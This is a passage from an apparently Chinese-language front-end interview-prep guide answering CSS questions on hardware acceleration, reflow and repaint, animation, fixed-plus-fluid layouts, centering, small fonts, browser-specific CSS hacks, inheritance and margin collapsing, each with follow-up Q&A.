  1. inline-block兄弟元素:通过在父元素中插入一个inline-block元素,并设置其垂直对齐方式为middle来实现垂直居中
.parent {
  height: 100%;
}

.extra {
  display: inline-block;
  vertical-align: middle;
}

.child {
  display: inline-block;
  vertical-align: middle;
}

💬 面试官追问

  • 给一个 div 写了 vertical-align: middle,完全没效果,为什么?

    vertical-align 只管行内框里的对齐和表格单元格,块级元素不认。要么父元素改 flex,要么把它变成 inline-block 或 table-cell。

  • 按钮里文字用 line-height 等于高度居中,换个字体后看着偏上,怎么回事?

    line-height 居中的是行框,字形在行框里的位置取决于字体本身的上下留白,不同字体不一样。换成 flex 居中也一样会偏,这类视觉偏差要么换字体,要么用 text-box: trim-both cap alphabetic 裁掉字体留白(较新浏览器才支持)。

  • 页面整屏居中一个登录框,用 height: 100vh 在手机上下面被遮住了,怎么改?

    移动端 100vh 是按地址栏收起时的高度算的,地址栏展开就超出一截。改用 min-height: 100dvh,dvh 会跟着地址栏变;老浏览器先写一行 100vh 兜底。

  • flex 垂直居中的弹窗,内容很长时顶部被切掉、滚不上去,为什么?

    内容高于容器时,align-items: center 会让溢出部分对称地往上下两头跑,上面那截跑到滚动区外面了。改成子元素 margin: auto,空间不够时 auto 变成 0,就不会往上溢出;或者用 align-items: safe center。

  • grid 的 place-items: center 和 place-content: center 有什么区别?

    place-items 是每个子项在自己的格子里居中;place-content 是整组轨道在容器里居中。只有一个子元素时效果看起来一样,多个子元素时 place-content 会把它们挤成一团放中间。

# 47 如何使用CSS实现硬件加速?

⚡ 30 秒速记

  • 所谓硬件加速 = 把元素提升成独立的合成层,位移、缩放、透明度交给 GPU 合成,跳过布局和绘制
  • 现代写法:will-change: transform;老写法是 transform: translateZ(0) / translate3d(0, 0, 0)
  • 动画只改 transform 和 opacity,这两个才能全程在合成线程跑;filter 部分情况可以
  • 每个层都吃显存,层太多反而卡,移动端尤其明显;will-change 动画结束要撤掉
  • 用 DevTools 的 Layers 面板看层数,Rendering 里勾 Layer borders 看谁被提层了

硬件加速说白了就是让浏览器把某个元素单独拿出来做成一层,交给 GPU 去移动和合成,不用每帧重新布局和绘制。 以前大家给元素加 transform: translateZ(0) 骗浏览器提层,现在标准写法是 will-change: transform,提前告诉浏览器这个元素要动。光提层没用,动画本身也得只改 transform 和 opacity,要是动的是 left、width,照样每帧回流。层也不是越多越好,我见过给列表每一项都加 translateZ(0) 的写法,移动端内存直接上去,滚动反而更卡。

硬件加速是指通过创建独立的复合图层,让GPU来渲染这个图层,从而提高性能,

一般触发硬件加速的CSS属性有transform、opacity、filter,为了避免2D动画在开始和结束的时候的repaint操作,一般使用tranform:translateZ(0)

使用CSS实现硬件加速可以通过以下方法:

  1. 使用3D变换:通过应用3D变换,如translateZ(0),来触发硬件加速。这会将元素视为3D空间中的一个对象,使浏览器使用GPU进行渲染。
.element {
  transform: translateZ(0);
}
  1. 使用CSS动画:使用CSS动画属性(如transform、opacity、filter)来触发硬件加速。这可以通过创建一个动画并将其应用于元素来实现。
.element {
  animation: myAnimation 1s linear infinite;
}

@keyframes myAnimation {
  0% {
    transform: translateZ(0);
  }
  100% {
    transform: translateZ(0);
  }
}
  1. 使用CSS过渡:通过使用CSS过渡属性(如transform、opacity、filter)来触发硬件加速。这可以通过设置过渡效果来实现。
.element {
  transition: transform 0.3s ease;
}

.element:hover {
  transform: translateZ(0);
}

请注意,硬件加速并不是适用于所有情况的解决方案,它对于涉及大量动画或复杂渲染的元素特别有效。但是,在某些情况下,过多地使用硬件加速可能会导致性能问题,因此需要在实际使用时进行评估和测试。

💬 面试官追问

  • 全局写了 * { transform: translateZ(0) } 说是优化性能,你怎么看?

    直接拦。每个元素都变成合成层,显存和层合成的开销会暴涨,低端手机可能直接白屏或闪退。只给真正在动的元素提层。

  • will-change: transform 一直写在样式里有什么问题?

    浏览器会一直为它保留独立层和显存。正确用法是动画快开始时加上,比如 hover 父元素或 JS 里加 class,结束后在 transitionend 里移除。长期常驻动画的元素例外,可以一直挂着。

  • 用 left 做的侧滑菜单在安卓上掉帧,怎么改?

    改成 transform: translateX()。left 每帧都触发布局和绘制,transform 在合成层上处理,主线程忙的时候动画也不受影响。

  • 元素加了 translateZ(0) 后文字变模糊了,为什么?

    提层后这一层会被栅格化成位图,再交给 GPU 合成,如果位置落在半像素上或者又做了缩放,文字就会发虚。动画结束后把提层撤掉,或者保证位移是整数像素。

  • 我没给某个元素提层,它怎么也成了合成层?

    层叠在已有合成层上面、又可能和它重叠的元素,浏览器会把它也提上去,叫隐式提层。Layers 面板里每个层都会写提层原因,常见的修法是给动画元素加个较高的 z-index,让别的元素不用盖在它上面。

# 48 重绘和回流(重排)是什么,如何避免?

⚡ 30 秒速记

  • 回流(重排):几何变了,重新算位置和尺寸,最贵,必然带重绘
  • 重绘:只改颜色、背景、阴影这类外观,跳过布局
  • 合成:只动 transform / opacity,布局和绘制都跳过,最便宜
  • 坑点是强制同步布局:写完样式马上读 offsetTop、getBoundingClientRect(),浏览器只能当场重算
  • 避免:先读后写、改 class 不逐条改 style、批量插入用 DocumentFragment、动画只用 transform / opacity

回流是元素的尺寸或位置变了,浏览器要重新算布局;重绘是只有外观变了,重新画一遍就行。 回流一定带着重绘,所以更贵。其实浏览器会把连续的样式修改攒起来等下一帧统一处理,真正拖慢页面的是读写交替:刚改了宽度就去读 offsetHeight,浏览器为了给你准确值只能立刻做一次布局,循环里这么写就是反复强制布局。我写代码会先把要读的布局信息一次读完,再统一写,动画只碰 transform 和 opacity。

时序图 · 5 个参与者 / 9 步
alt 写完立刻读布局属性只写不读opt 只改变换或透明度业务脚本业务脚本样式计算样式计算布局布局绘制绘制合成线程合成线程修改宽度,先记成待处理1读取元素高度2强制同步布局3返回准确高度4循环里读写交替就会反复强制布局修改被攒到下一帧统一处理下一帧重新计算布局5几何变化,需要重绘6提交图层7直接在合成层处理,跳过布局和绘制8画面上屏9

重绘(Repaint)和回流(Reflow)是浏览器在渲染页面时的两个关键过程。

  • 重绘(Repaint) 是指当元素的外观属性(如颜色、背景等)发生改变,但不影响布局时的重新绘制过程。重绘不会影响元素的几何尺寸和位置。
  • 回流(Reflow) 是指当元素的布局属性(如尺寸、位置、隐藏/显示等)发生改变,导致浏览器重新计算元素的几何属性,重新构建渲染树的过程。回流会导致其他相关元素的回流和重绘。
  • 回流必将引起重绘,而重绘不一定会引起回流

避免重绘和回流对于提高页面性能和响应速度至关重要。以下是一些减少重绘和回流的方法:

  • 使用 CSS3 动画:使用 CSS3 的 transform 和 opacity 等属性来创建动画效果,因为它们会触发硬件加速,减少重绘和回流的影响。
  • 批量修改样式:避免频繁修改单个元素的样式,尽可能将修改合并为一次操作,可以使用 class 或修改 style 属性的方式。
  • 使用文档片段:当需要添加多个 DOM 元素到文档中时,可以先创建一个文档片段(DocumentFragment),将元素添加到片段中,然后再将片段一次性添加到文档中,减少回流次数。
  • 使用离线 DOM:将元素从文档中移除(display: none),进行复杂的操作(如修改样式、添加子元素等),完成后再将元素放回文档,以减少回流和重绘的影响。
  • 缓存布局属性值:如果需要多次访问某个元素的布局属性(如位置、尺寸等),可以将其值缓存起来,避免多次触发回流计算。
  • 避免强制同步布局:避免在 JavaScript 中获取布局属性(如使用 offsetTop、clientWidth 等),因为它会强制同步计算布局信息,触发回流。如果需要获取布局信息,最好将获取操作放在一起,或使用 getBoundingClientRect() 方法。

通过合理的设计和优化,可以最小化重绘和回流的次数,提高页面性能和用户体验。

💬 面试官追问

  • 在循环里 el.style.width = el.offsetWidth + 10 + 'px',为什么特别卡?

    每轮都是先读后写,下一轮的读又要拿到上一轮写完的结果,浏览器只能每轮都同步布局一次。循环外读一次存变量,算好了最后写一次。

  • 改 visibility: hidden 和 display: none,哪个会回流?

    display: none 会,元素从布局里拿掉了,周围元素要重新排;visibility: hidden 还占位,只重绘。

  • 列表要插入 500 条数据,一条条 appendChild 和用 DocumentFragment 差多少?

    只写不读的话浏览器本来就会攒到一起布局,差距没想象中大,主要省的是 500 次 DOM 操作本身。真正要注意的是循环里别夹着读布局属性。数据再多就该上虚拟列表了。

  • 页面滚动卡,怎么确认是不是回流导致的?

    Performance 面板录一段,看主线程里紫色 Layout 块是不是又多又长;带红色三角写着 Forced reflow 的,点进去能直接定位到读布局属性的那行 JS。

  • 只改 background-color,会触发回流吗?

    不会,几何没变,只重绘。不过频繁大面积重绘也不便宜,做颜色渐变动画时可以考虑换成两层叠加、只动上层的 opacity。

# 49 说一说css3的animation

⚡ 30 秒速记

  • 两步走:@keyframes 定义关键帧,animation 把它挂到元素上
  • 八个子属性:name、duration、timing-function、delay、iteration-count、direction、fill-mode、play-state
  • 最常忘的:fill-mode: forwards 停在最后一帧;play-state: paused 暂停
  • 和 transition 比:transition 要状态变化触发、只能从一个状态到另一个状态;animation 能自动播、多关键帧、可循环
  • steps(n) 做逐帧动画(雪碧图);JS 里可以监听 animationend、animationiteration

animation 就是先用 @keyframes 描述「什么时候长什么样」,再用 animation 属性决定播多久、播几次、怎么播。 一行简写像 animation: fade 0.3s ease-out 0.1s 1 forwards。它和 transition 的区别是不需要触发,页面一加载就能自己播,而且可以有很多关键帧、可以无限循环。实际最常踩的是动画播完元素「弹回」原样,那是没写 fill-mode: forwards。性能上我只对 transform 和 opacity 做动画,别的属性每帧都要重新布局或绘制。有资料说 duration 能写 infinite,那是错的,infinite 只属于 iteration-count。

CSS3的animation属性是用于创建动画效果的一种方式。它可以通过关键帧(@keyframes)来定义动画的每一帧,以实现元素的平滑过渡和动态效果。

使用animation属性时,需要设置以下几个关键的子属性:

  • animation-name:定义动画的名称,对应@keyframes中的动画名。
  • animation-duration:定义动画的持续时间,可以设置为具体的时间值,如2s表示2秒,或者使用关键词infinite表示无限循环。
  • animation-timing-function:定义动画的时间函数,控制动画在不同时间点的速度变化,常见的取值有linear(线性)、ease(缓入缓出)、ease-in(缓入)、ease-out(缓出)、ease-in-out(缓入缓出)等。
  • animation-delay:定义动画的延迟时间,即动画开始之前的等待时间。
  • animation-iteration-count:定义动画的循环次数,可以设置为具体的次数,或者使用关键词infinite表示无限循环。
  • animation-direction:定义动画的播放方向,包括正常播放(normal)、反向播放(reverse)、交替反向播放(alternate)等。
  • animation-fill-mode:定义动画播放之前和之后的样式状态,包括保持初始状态(none)、保持最后状态(forwards)、保持初始和最后状态(both)等。
  • animation-play-state:定义动画的播放状态,可以控制动画的暂停和继续播放,包括paused(暂停)和running(运行)。

通过调整这些子属性的取值,可以创建各种不同的动画效果,使元素在页面上实现平滑的过渡和动态的效果。CSS3的animation提供了一种简洁、易用且高性能的方式来实现动画效果,减少了对JavaScript的依赖。

💬 面试官追问

  • 淡入动画播完,元素又闪回了透明状态,为什么?

    默认 fill-mode: none,动画结束就回到元素本身的样式。加 animation-fill-mode: forwards 停在最后一帧,或者干脆把元素本身的样式就写成终态。

  • 有 delay 的入场动画,开始前元素先完整显示了一下再消失,怎么解决?

    延迟期间用的是元素原本的样式。用 fill-mode: backwards,延迟期间就应用第一帧;both 是前后都管,入场动画我一般直接写 both。

  • 做一个 loading 小人跑步的雪碧图动画,timing-function 用什么?

    steps(8),假设 8 帧。配合 background-position 从 0 移到 -8 倍帧宽,每一步直接跳过去,不会出现两帧之间的平滑滑动。

  • 同一个元素改了 class 想重播一次动画,结果没反应,怎么办?

    animation-name 没变,浏览器不会重新开始。先移除 class,读一次 el.offsetWidth 强制刷新,再加回去;或者用 Web Animations API 的 el.getAnimations()[0].play(),更干净。

  • animation 和 transition 你会怎么选?

    有明确触发、只是两个状态之间过渡,比如悬停、展开收起,用 transition;要自动播、循环、多段节奏,比如骨架屏闪光、loading,用 animation。

# 50 左边宽度固定,右边自适应

⚡ 30 秒速记

  • 首选 flex:父 display: flex,左边 flex: 0 0 200px,右边 flex: 1; min-width: 0
  • grid 一行:grid-template-columns: 200px 1fr(内容很宽时写 minmax(0, 1fr))
  • 浮动版:左 float: left; width: 200px,右边 margin-left: 200px 或者 display: flow-root(建 BFC 不和浮动重叠)
  • 定位版:左 absolute,右 margin-left;或右 absolute; left: 200px; right: 0,但定位元素脱离文档流,父元素高度不包它
  • 高频坑:flex: 1 的那栏默认 min-width: auto,长表格、长链接会把它撑破

左边定宽右边自适应,我现在基本只写 flex 或 grid。 flex 是左边 flex: 0 0 200px 不伸不缩,右边 flex: 1 吃满剩余空间;grid 更直接,grid-template-columns: 200px 1fr。面试官往下追的通常是那个坑:右栏放个很宽的表格,整个布局被撑出横向滚动条,原因是 flex 子项默认 min-width: auto,不肯缩到比内容还窄,得补 min-width: 0。浮动和定位的写法看得懂老代码就行,定位那种还有父元素高度塌陷的问题。

左侧固定宽度,右侧自适应宽度的两列布局实现

html结构

<div class="outer">
    <div class="left">固定宽度</div>
    <div class="right">自适应宽度</div>
</div>

在外层div(类名为outer)的div中,有两个子div,类名分别为left和right,其中left为固定宽度,而right为自适应宽度

方法1:左侧div设置成浮动:float: left,右侧div宽度会自动适应

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
    float: left;
}
.right {
    height: 200px;
    background-color: blue;
}

方法2:对右侧:div进行绝对定位,然后再设置right=0,即可以实现宽度自适应

绝对定位元素的第一个高级特性就是其具有自动伸缩的功能,当我们将 width设置为 auto 的时候(或者不设置,默认为 auto ),绝对定位元素会根据其 left 和 right 自动伸缩其大小

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    position: relative;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
}
.right {
    height: 200px;
    background-color: blue;
    position: absolute;
    left: 200px;
    top:0;
    right: 0;
}

方法3:将左侧div进行绝对定位,然后右侧div设置margin-left: 200px

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    position: relative;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
    position: absolute;
}
.right {
    height: 200px;
    background-color: blue;
    margin-left: 200px;
}

方法4:使用flex布局

.outer {
    width: 100%;
    height: 500px;
    background-color: yellow;
    display: flex;
    flex-direction: row;
}
.left {
    width: 200px;
    height: 200px;
    background-color: red;
}
.right {
    height: 200px;
    background-color: blue;
    flex: 1;
}

💬 面试官追问

  • 右栏放了一张宽表格,左边导航被挤扁了,页面还出现横向滚动条,怎么改?

    左边加 flex-shrink: 0 不让它缩,右边 flex: 1; min-width: 0,表格外面包一层 overflow-x: auto。关键是 min-width: 0,不写的话右栏不肯缩到表格宽度以下,表格的滚动也不生效。

  • grid-template-columns: 200px 1fr 也遇到右栏被撑宽,为什么?

    1fr 其实是 minmax(auto, 1fr),最小值也是内容宽度,和 flex 的 min-width: auto 是同一个问题。改成 200px minmax(0, 1fr)。

  • 左边浮动、右边什么都不写,背景却钻到左栏下面去了,怎么回事?

    浮动只让文字绕开,右边那个块本身还是从最左边开始的,背景当然在底下。给右栏 display: flow-root 建 BFC,它就不和浮动重叠,宽度自动缩到剩下的部分。

  • 左栏要能在手机上收起变成抽屉,你会怎么写?

    桌面端 grid-template-columns: 200px 1fr,媒体查询里改成单列 1fr,左栏变成 position: fixed 加 transform: translateX(-100%),打开时移回 0。只动 transform,抽屉动画不会卡。

  • 右边用 absolute; left: 200px; right: 0 实现,有什么问题?

    右栏脱离文档流,父元素高度不包含它,下面的页脚会顶上来;右栏内容变高也不会撑开页面。除非是固定高度的应用框架页,不然不推荐。

# 51 两种以上方式实现已知或者未知宽度的垂直水平居中

⚡ 30 秒速记

  • 按「要不要知道尺寸」分两组讲,比平铺列举有条理
  • 不用知道尺寸:display: grid; place-items: center;flex + justify-content + align-items;absolute + translate(-50%, -50%)
  • 要知道尺寸:absolute + top/left: 50% + 负 margin 各一半;inset: 0 + margin: auto(要定宽高)
  • 老方案:父 display: table-cell; vertical-align: middle 配子 margin: 0 auto
  • translate 方案在奇数尺寸下会落到半像素,文字可能发虚

宽高未知时用 flex、grid 或者绝对定位加 transform,宽高已知时还可以用负 margin 或 margin: auto。 最短的是父元素 display: grid; place-items: center,两行搞定;flex 写 justify-content 和 align-items 两个方向。必须绝对定位时,top: 50%; left: 50% 把元素左上角放到中心,再 translate(-50%, -50%) 往回拉自身一半,百分比是按元素自己算的,所以不用知道尺寸。定宽高就可以用 inset: 0; margin: auto,让上下左右的剩余空间平分。

/** 1 **/
.wraper {
  position: relative;
  .box {
    position: absolute;
    top: 50%;
    left: 50%;
    width: 100px;
    height: 100px;
    margin: -50px 0 0 -50px;
  }
}

/** 2 **/
.wraper {
  position: relative;
  .box {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
  }
}

/** 3 **/
.wraper {
  display: flex;
  justify-content:center;
  align-items: center;
  height: 100px;
}

/** 4 **/
.wraper {
  display: table;
  .box {
    display: table-cell;
    vertical-align: middle;
  }
}

四种写法按「需不需要知道子元素尺寸」分:

/* 不用知道尺寸:首选 */
.wrap { display: grid; place-items: center; min-height: 300px; }

/* 不用知道尺寸:flex,注意写在父元素上 */
.wrap { display: flex; justify-content: center; align-items: center; min-height: 300px; }

/* 不用知道尺寸:必须脱离文档流时(弹窗、角标) */
.wrap { position: relative; }
.box  { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }

/* 需要定宽高 */
.box  { position: absolute; inset: 0; width: 100px; height: 100px; margin: auto; }

几点原理:

  • top: 50% 按包含块高度算,把元素顶边放到中线;translate(-50%) 按元素自身高度算,往回拉一半,两者一抵就是正中。
  • inset: 0; margin: auto 能居中,是因为绝对定位元素四边都定了、宽高也定了,多出来的空间由 auto 外边距平分。
  • flex 要写在父元素上:写在 .box 上,居中的是 .box 里的内容,而不是 .box 本身。
  • 第 4 种 table-cell 只负责垂直方向,水平还要子元素 margin: 0 auto 或者父元素 text-align: center。

选型上:普通布局用 grid / flex;弹窗这类要盖在页面上的才用绝对定位;translate 在元素尺寸是奇数时会出现半像素,文字可能发虚,介意的话换 flex 居中。

💬 面试官追问

  • translate(-50%, -50%) 里的 50% 和 top: 50% 的 50% 参照的是同一个东西吗?

    不是。top 的百分比参照包含块的高度,translate 的百分比参照元素自己的宽高。这就是它能在不知道尺寸的情况下居中的原因。

  • 弹窗用 absolute + translate 居中,里面还有个下拉菜单定位乱了,为什么?

    transform 会让元素成为内部 position: fixed 后代的包含块,原本相对视口的 fixed 下拉框变成相对弹窗了。改用 flex 居中弹窗,或者把下拉框挂到 body 下。

  • inset: 0; margin: auto 不写宽高会怎样?

    上下左右都是 0,宽高 auto 的绝对定位元素会被拉满整个包含块,就不是居中了。要么定宽高,要么写 width: fit-content; height: fit-content。

  • 父元素只设了 display: flex; justify-content: center; align-items: center,子元素还是贴在顶部,为什么?

    父元素没有高度,被内容撑开刚好和子元素一样高,垂直方向没空间可分。给父元素 min-height,整屏居中就 min-height: 100dvh。

  • 把 flex 那三行写在 .box 自己身上,居中的是谁?

    居中的是 .box 里面的内容,不是 .box 本身。要让 .box 在 .wraper 里居中,flex 那三行得写在 .wraper 上。

# 52 如何实现小于12px的字体效果

⚡ 30 秒速记

  • 来由:Chrome 中文环境以前默认最小字号 12px,写 10px 也显示成 12px;新版桌面 Chrome 已取消这个默认值,但用户仍可以在设置里调最小字号,部分国产内核和 WebView 还有限制
  • 主流解法:transform: scale(0.833) 把 12px 视觉缩到 10px,配 transform-origin: left center
  • 行内元素 transform 不生效,要先 display: inline-block
  • scale 不改变占位,缩完周围会空一块,要用负 margin 或者固定外层尺寸收拾
  • -webkit-text-size-adjust: none 在桌面 Chrome 27 之后就没用了;小于 12px 的正文本身就伤可读性,能和设计沟通改掉最好

小于 12px 的字一般是写 font-size: 12px,再用 transform: scale() 缩小视觉尺寸。 起因是 Chrome 中文环境以前有个默认最小字号 12px,写更小也不生效。transform 对纯行内元素无效,所以要先转成 inline-block,再用 transform-origin 定好缩放基准点,不然从中心缩会偏。最麻烦的是 scale 只改视觉不改占位,原来 12px 的盒子还占着地方,旁边会空出一块。真遇到这种需求我会先问设计能不能接受 12px,太小的字在手机上本来就看不清。

实现小于12px的字体效果可以使用CSS的transform: scale()属性。但需要注意的是,该属性只能应用于具有宽度和高度的元素,而行内元素默认是没有宽度和高度的。

为了在行内元素上应用缩放效果,可以将其转换为具有宽度和高度的块级元素,例如使用display: inline-block。

下面是一个示例代码:

.small-text {
  display: inline-block;
  transform: scale(0.7);
  transform-origin: left top;
}

在上述代码中,我们将目标元素的display属性设置为inline-block,然后应用了transform: scale(0.7)来缩小元素的大小,并通过transform-origin: left top设置缩放的基准点为左上角。

使用以上代码,可以实现小于12px的字体效果,但需要注意,缩放可能会导致文本的清晰度下降,因此在使用此技术时需要谨慎权衡效果和可读性。

💬 面试官追问

  • 写了 font-size: 10px,Mac 上的 Chrome 显示正常,安卓某些浏览器还是 12px,为什么?

    最小字号是浏览器设置和内核决定的,新版桌面 Chrome 去掉了中文环境的默认值,但一些国产浏览器和 WebView 还保留着。不想赌环境就统一用 scale 方案。

  • 想要 9px 的字,scale 写多少?

    写 font-size: 12px; transform: scale(0.75),12 × 0.75 = 9。别在 10px 的基础上缩,那个 10px 本身可能已经被抬到 12px 了,算出来对不上。

  • 标签里的小字缩完后右边空了一截,和旁边元素对不齐,怎么办?

    scale 不影响布局占位。transform-origin: left center 让它靠左缩,再给外层定一个缩后的宽高,或者用负 margin-right 把空出来的那部分吃掉。

  • 整个角标(背景加文字)都要小一号,怎么写最省事?

    直接对整个角标 scale,背景、圆角、文字一起缩,比只缩文字再调背景尺寸省事得多。注意边框也会跟着变细,1px 可能变成发虚的半像素线。

  • 用 zoom: 0.8 能不能代替 scale?

    zoom 会影响布局占位,不会留空,看起来更方便。但它长期是非标准属性,Firefox 直到 126 才支持,而且对字号的作用还是受最小字号限制,我一般不用。

# 53 css hack原理及常用hack

⚡ 30 秒速记

  • 原理:利用不同浏览器对特殊、非法 CSS 语法的容错差异,让某条规则只被特定浏览器识别
  • 属性 hack:*color 只有 IE 6/7 认,_width 只有 IE 6 认,color: red\9 是 IE 6~10
  • 选择器 hack:* html .el 只对 IE 6 生效,*+html 对 IE 7
  • 条件注释 <!--[if IE 7]> 在 IE 10 起就不支持了
  • 今天的替代:@supports 特性检测、Autoprefixer 加前缀、Browserslist 声明目标浏览器

CSS hack 就是利用浏览器解析 CSS 的 bug 和容错差异,写一些只有特定浏览器认的语法,让样式只在它那里生效。 分三类:属性前面加符号的属性 hack、特殊选择器的选择器 hack、IE 专属的条件注释。它们对应的浏览器基本都已经退役了,IE 11 都在 2022 年停止支持。现在要处理兼容问题,我会用 @supports 检测特性有没有,Autoprefixer 按 Browserslist 自动补前缀,而不是去猜浏览器版本。

  • 原理:利用不同浏览器对CSS的支持和解析结果不一样编写针对特定浏览器样式。
  • 常见的hack有
    • 属性hack
    • 选择器hack
    • IE条件注释

CSS hack是一种技术手段,用于在不同的浏览器或特定的浏览器版本上应用不同的样式规则。它通过利用浏览器对CSS解析的差异来实现。

以下是一些常见的CSS hack及其应用:

  1. 属性hack:针对特定浏览器或浏览器版本设置不同的属性值。
/* 仅适用于IE10及以下版本 */
.element {
  color: red\9;
}
  1. 选择器hack:使用特定的选择器来针对特定浏览器或浏览器版本。
/* 仅适用于IE6 */
* html .element {
  color: red;
}
  1. IE条件注释:通过IE条件注释来针对不同的IE版本应用不同的样式。
<!--[if IE 7]>
<link rel="stylesheet" type="text/css" href="ie7.css" />
<![endif]-->

上述代码中,<!--[if IE 7]>和<![endif]-->之间的样式表链接只会在IE7浏览器中生效。

需要注意的是,CSS hack是一种针对特定浏览器或浏览器版本的解决方案,但它可能存在以下问题:

  • 可能会导致代码的可读性和维护性降低。
  • 在不同的浏览器更新版本或新的浏览器出现时,需要更新和调整hack。
  • 可能会导致一些意外的副作用或兼容性问题。

因此,在使用CSS hack时,需要权衡利弊,并尽量考虑更加稳定和标准的解决方案,例如使用CSS前缀、特性检测和渐进增强等方法来实现跨浏览器兼容性。

💬 面试官追问

  • 现在某个新属性只有部分浏览器支持,你会写 hack 吗?

    不写,用 @supports (aspect-ratio: 1) { ... } 检测特性。hack 是猜浏览器,特性检测是问能力,浏览器升级后前者会误伤,后者不会。

  • Safari 上有个渲染 bug,别的浏览器都正常,有没有办法只给 Safari 写样式?

    有一些基于 -webkit- 私有特性的 @supports 写法能筛出来,但那还是在猜,Safari 一升级就可能失效。我更倾向先找到 bug 的根因,换一种都兼容的写法绕开。

  • color: red\9 这种写法留在代码里会有问题吗?

    现代浏览器会把它当无效声明丢掉,一般无害。但它会让 stylelint 报错、让后来的人看不懂,而且对应的 IE 已经不存在了,清理掉就好。

  • 怎么决定项目要不要兼容某个老浏览器?

    看访问数据,统计里占比多少、是不是核心用户。定下来后写进 Browserslist,Autoprefixer 和 Babel 都按它来,不要靠每个人各自判断。

  • -webkit- 这种厂商前缀算 hack 吗?

    不算,前缀是浏览器官方提供的实验性实现,hack 是利用解析 bug。现在前缀也不建议手写了,交给 Autoprefixer。

# 54 CSS有哪些继承属性

⚡ 30 秒速记

  • 记忆法:管「文字长什么样」的会继承,管「盒子在哪、多大」的不继承
  • 会继承:font 系列、color、line-height、text-align、text-indent、letter-spacing、white-space、visibility、cursor、list-style、border-collapse
  • 不继承:width / height / margin / padding / border、background、position、display、overflow、z-index、opacity
  • 关键字:inherit 强制继承、initial 回到规范初始值、unset 可继承的就继承否则初始化、revert 回到浏览器默认样式
  • CSS 变量(自定义属性)默认会继承,这是做主题的基础

会继承的属性基本都和文字有关,字体、颜色、行高、对齐这些,盒模型和布局类的都不继承。 设计成这样很好理解:你给 body 设个字体和颜色,希望全站文字都跟着变;但给容器设个 border,没人希望里面每个元素都套一个框。常见的继承属性有 font-family、font-size、color、line-height、text-align、visibility、cursor。有两个特殊的要记一下:visibility 会继承所以子元素能单独写 visible 露出来,opacity 不继承但效果上子元素一起透明,两者经常被问到。

CSS中有一些属性是可以继承的,这意味着父元素的某些样式属性会自动应用到子元素上。以下是一些常见的继承属性:

  • 字体相关属性:
    • font
    • font-family
    • font-size
    • font-weight
    • font-style
  • 文本排版属性:
    • word-break
    • letter-spacing
    • text-align
    • text-rendering
    • word-spacing
    • white-space
    • text-indent
    • text-transform
    • text-shadow
  • 行高属性:
    • line-height
  • 颜色相关属性:
    • color
  • 可见性属性:
    • visibility
  • 光标属性:
    • cursor

这些属性在父元素上设置后,会自动应用到其子元素上,除非子元素有自己的特定样式覆盖了继承的属性。

需要注意的是,并非所有的CSS属性都是可继承的,有些属性是不会传递给子元素的。在使用CSS样式时,需要注意属性的继承特性,以便正确地应用样式到子元素。

💬 面试官追问

  • 父元素 visibility: hidden,子元素写 visibility: visible,子元素能显示吗?

    能。visibility 是继承属性,子元素自己声明就会覆盖。换成父元素 display: none 就不行了,整棵子树都不渲染。

  • button 和 input 里的字体为什么不跟着 body 走?

    浏览器默认样式给表单控件单独设了字体,覆盖了继承来的值。重置样式里一般会写 button, input, select, textarea { font: inherit; }。

  • initial 和 unset 有什么区别?

    initial 永远回到规范初始值,比如 color: initial 就是黑色,不管父元素是什么颜色;unset 对可继承属性等于 inherit,对不可继承属性等于 initial。想「恢复成像没写过一样」一般用 unset。

  • 写一个嵌到别人页面里的组件,怎么防止外部样式继承进来?

    组件根节点写 all: initial 再重新设字体,能挡住继承;但外部的选择器还是能选中里面的元素。要彻底隔离就用 Shadow DOM,注意继承属性照样能穿透 Shadow DOM 边界,所以根节点那句 all: initial 还是要的。

  • a 标签放在红色文字的父元素里,为什么还是蓝色?

    a 的颜色是浏览器默认样式直接设在 a 上的,直接声明优先于继承。要跟父元素同色就写 a { color: inherit; }。

# 55 外边距折叠(collapsing margins)

⚡ 30 秒速记

  • 和第 38 题同一个考点:常规流块级盒子之间、垂直方向的 margin 合并成一个
  • 取值:同正取大、同负取更负的、一正一负相加
  • 三种场景:相邻兄弟、父与首/尾子元素、空块自身上下 margin
  • 不参与折叠:浮动、绝对定位、inline-block、flex / grid 子项、建立了 BFC 的元素和它的子元素之间
  • 阻断:padding / border 隔开、父元素 display: flow-root、改用 flex / grid + gap

外边距折叠就是上下挨着的两个 margin 合并成一个,不相加。 同为正取大的,同为负取更负的,一正一负相加。它只发生在常规流里的块级盒子之间,浮动、绝对定位、inline-block、flex 和 grid 的子项都不参与。父子之间如果中间没有 border、padding 隔开,也会折叠,表现就是子元素的 margin-top 跑到父元素外面去了。我日常的做法是列表间距统一交给父元素的 gap,从根上就不碰折叠。

外边距折叠(collapsing margins)是 CSS 中一种特定的行为,它会导致一些相邻元素的外边距合并成一个更大的外边距。以下是关于外边距折叠的几个规则:

  1. 相邻的普通流中的块级元素的垂直外边距会折叠。只有垂直方向上的外边距才会发生折叠,水平方向上的外边距不会折叠。
  2. 浮动元素、绝对定位元素以及行内块元素的外边距不会和其他元素的外边距折叠。
  3. 创建了块级格式化上下文(BFC)的元素的外边距不会和其子元素的外边距折叠。常见的创建 BFC 的方式包括设置overflow为除visible之外的值、使用float属性、使用position: absolute等。
  4. 相邻元素自身的margin-bottom和margin-top会折叠。当一个元素的margin-bottom和下一个元素的margin-top相邻时,它们会合并成一个外边距。

外边距折叠在布局中可能会导致一些意外的效果,因此在需要避免外边距折叠的情况下,可以采用以下方法:

  • 设置padding、border或者使用inline-block等方式来阻止外边距折叠。
  • 使用浮动(float)或绝对定位(position: absolute)等方式创建块级格式化上下文(BFC),从而阻止外边距折叠。

了解和掌握外边距折叠的规则可以帮助我们更好地处理布局和样式相关的问题。

💬 面试官追问

  • 父元素写了 overflow: hidden 之后,子元素的 margin-top 不再「漏」出去了,为什么?

    overflow: hidden 让父元素建立了 BFC,BFC 和它的子元素之间的 margin 不折叠。更推荐写 display: flow-root,效果一样还不会裁剪内容。

  • 两个兄弟元素,中间夹了一个 display: none 的元素,margin 还会折叠吗?

